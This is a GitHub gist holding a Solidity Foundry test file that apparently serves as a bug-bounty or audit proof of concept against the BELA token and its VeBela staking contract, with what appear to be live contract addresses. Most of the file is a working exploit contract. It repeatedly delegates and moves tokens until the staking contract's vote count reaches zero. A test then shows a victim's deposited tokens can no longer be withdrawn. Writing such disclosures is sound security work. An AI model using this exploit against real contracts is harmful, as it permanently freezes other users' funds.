-
-
Save MiloTruck/2b89f8f762f1ed23eb860f96e2341fd7 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// SPDX-License-Identifier: UNLICENSED | |
pragma solidity ^0.8.13; | |
import "forge-std/Test.sol"; | |
import "../src/Bela.sol"; | |
contract Exploit { | |
function reduceVotes(Token bela, address target) external { | |
while (bela.getCurrentVotes(target) != 0) { | |
// Set target as delegate | |
bela.delegate(target); | |
// Get BELA from attacker | |
uint256 amount = bela.balanceOf(msg.sender); | |
if (bela.getCurrentVotes(target) < amount) | |
amount = bela.getCurrentVotes(target); | |
bela.transferFrom(msg.sender, address(this), amount); | |
// Set delegate to this contract; this removes votes from target | |
bela.delegate(address(this)); | |
// Transfer BELA back to attacker to reset this contract's balance to 0 | |
bela.transfer(msg.sender, bela.balanceOf(address(this))); | |
} | |
} | |
} | |
contract PermanentFreezingOfFunds_POC is Test { | |
BelaHelper BELA = BelaHelper(0x09090e22118b375f2c7b95420c04414E4bf68e1A); | |
IVeBela veBela = IVeBela(0x7fbdEb84D5966c1C325D8CB2E01593D74c9A41Cd); | |
address ATTACKER; | |
address VICTIM; | |
function setUp() public { | |
// Add public minting function to BELA contract | |
vm.etch(address(BELA), address(new BelaHelper()).code); | |
// Setup ATTACKER and VICTIM; give them both 10,000 BELA | |
ATTACKER = makeAddr("ATTACKER"); | |
VICTIM = makeAddr("VICTIM"); | |
BELA.mint(ATTACKER, 10_000e18); | |
BELA.mint(VICTIM, 10_000e18); | |
} | |
function testCanFreezeBELAInVeBelaContract() public { | |
// Victim deposits 10,000 BELA into VeBela contract | |
uint256 depositAmount = 10_000e18; | |
vm.prank(VICTIM); | |
BELA.approve(address(veBela), depositAmount); | |
vm.prank(VICTIM, VICTIM); | |
veBela.deposit(depositAmount); | |
// Deploy exploit contract | |
Exploit exploit = new Exploit(); | |
// Attacker reduces VeBela contract's votes to 0 | |
vm.startPrank(ATTACKER); | |
BELA.approve(address(exploit), type(uint256).max); | |
exploit.reduceVotes(Token(address(BELA)), address(veBela)); | |
vm.stopPrank(); | |
// VeBela contract now has 0 votes | |
assertEq(BELA.getCurrentVotes(address(veBela)), 0); | |
// Victim can't withdraw his deposited BELA | |
vm.prank(VICTIM); | |
vm.expectRevert(); | |
veBela.withdraw(depositAmount); // reverts with "Arithmetic over/underflow" due to insufficient votes | |
} | |
} | |
contract BelaHelper is Token { | |
constructor() Token("", "", address(1)) {} | |
function mint(address to, uint256 amount) external { | |
__mint(to, amount); | |
} | |
} | |
interface IVeBela { | |
function deposit(uint256 _amount) external; | |
function withdraw(uint256 _amount) external; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment